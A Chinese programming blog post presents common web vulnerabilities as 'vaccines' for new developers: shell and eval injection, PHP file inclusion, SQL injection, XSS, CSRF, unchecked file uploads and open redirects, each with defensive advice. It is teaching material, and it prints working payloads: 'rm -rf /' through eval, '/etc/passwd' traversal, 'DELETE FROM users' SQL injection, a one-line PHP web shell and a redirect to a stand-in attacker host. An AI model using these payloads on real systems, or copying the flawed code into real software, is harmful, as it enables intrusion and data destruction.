几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。
我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。
Shell注入
我们先来看一段perl的代码:
1
2
3
4
5
6
7
8
9
10
11
|
use
CGI qw(:standard);
$name
= param(
'name'
);
$nslookup
=
"/path/to/nslookup"
;
print
header;
if
(
open
(
$fh
,
"$nslookup $name|"
)) {
while
(<
$fh
>) {
print
escapeHTML(
$_
);
print
"<br>\n"
;
}
close
(
$fh
);
}
|
如果用户输入的参数是:
1
|
coolshell.cn%20%3B%20
/bin/ls
%20-l
|
那么,这段perl的程序就成了:
1
|
/path/to/nslookup
coolshell.cn ;
/bin/ls
-l
|
我们再来看一段PHP的程序:
1
2
3
|
$myvar
=
'somevalue'
;
$x
=
$_GET
[
'arg'
];
eval
(
'$myvar = '
.
$x
.
';'
);
|
“eval
“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')
“,后面的”system('rm -rf /')
“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)
再来看一个PHP的代码
1
2
3
4
5
6
|
$isadmin
= false;
...
...
foreach
(
$_GET
as
$key
=>
$value
) {
$
$key
=
$value
;
}
|
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。
再来看一个PHP的示例:
1
2
3
4
|
$action
=
'login'
;
if
(__isset(
$_GET
[
'act'
] ) )
$action
=
$_GET
[
'act'
];
require
(
$action
.
'.php'
);
|
这个代码相当危险,攻击者有可能可以干这些事:
-
/test.php?act=http://evil/exploit
- 注入远程机器上有漏洞的文件。 -
/test.php?act=/home/www/bbs/upload/exploit
- 从一个已经上载、叫做exploit.php文件运行其代码。 -
/test.php?act=../../../../etc/passwd%00
- 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php
扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
这样的示例有很多,只要你的程序有诸如:system()
、StartProcess()
、java.lang.Runtime.exec()
、System.Diagnostics.Process.Start()
以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。
PHP提供escapeshellarg()
和escapeshellcmd()
以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。
SQL注入
SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。
在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:
- 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
例程:
某个网站的登录验证的SQL查询代码为
1
2
|
strSQL =
"SELECT * FROM users
WHERE (name = '"
+ userName +
"') and (pw = '"
+
passWord
+
"');"
|
用户在登录时恶意输入如下的的用户名和口令:
1
|
userName =
"' OR '1'='1"
;
|
1
|
passWord
=
"' OR '1'='1"
;
|
此时,将导致原本的SQL字符串被解析为:
1
2
|
strSQL =
"SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
|
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。
1
|
strSQL =
"SELECT * FROM users;"
|
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:
1
|
username=
"' ; DELETE FROM users; --"
;
|
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。
所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。
XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。
另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》)
1
2
3
4
5
|
<
table
background=”javascript:alert(1)”>
<
meta
charset=”mac-farsi”>¼script¾alert(1)¼/script¾
<
img
src=”javascript:alert(1)”>
|
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)
于是,如果我在A站点内的某个贴子内注入这么一段代码:
1
|
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。
如何避免
要防止XSS攻击,一般来说有下面几种手段:
- 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
- 严格过滤用户的输入。如:
- PHP的
htmlentities()或是htmlspecialchars()或是strip_tags()
。 - Python的
cgi.escape()
- ASP的
Server.HTMLEncode()
。 - Node.js的node-validator。
- Java的xssprotect。
- PHP的
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
- 限制cookie的过期时间。
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。
上传文件
上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。
举个例子:
1
2
3
4
5
6
|
<
form
action
=
"upload_picture.php"
method
=
"post"
enctype
=
"multipart/form-data"
>
要上传的文件:
<
input
type
=
"file"
name
=
"filename"
/>
<
br
/>
<
input
type
=
"submit"
name
=
"submit"
value
=
"Submit"
/>
</
form
>
|
1
2
3
4
5
6
|
$target
=
"pictures/"
.
basename
(
$_FILES
[
'uploadedfile'
][
'name'
]);
if
(move_uploaded_file(
$_FILES
[
'uploadedfile'
][
'tmp_name'
],
$target
)){
echo
"图片文件上传成功"
;
}
else
{</div>
echo
"图片文件上传失败"
;
}
|
假如我上传了一个PHP文件如下:
1
2
3
|
<?php
system(
$_GET
[
'cmd'
]);
?>
|
那么,我就可以通过如下的URL访问攻击你的网站了:
1
|
http:
//server
.example.com
/upload_dir/malicious
.php?cmd=
ls
%20-l
|
抵御这样的攻击有两种手段:
1)限制上传文件的文件扩展名。
2)千万不要使用root或Administrator来运行你的Web应用。
URL跳转
URL跳转很有可能会成为攻击利用的工具。
比如下面的PHP代码:
1
2
|
$redirect_url
=
$_GET
[
'url'
];
header(
"Location: "
.
$redirect_url
);
|
这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。
于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
1
|
http:
//bank
.example.com
/redirect
?url=http:
//attacker
.example.net
|
这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。
解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。
你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)
(本篇文章结束)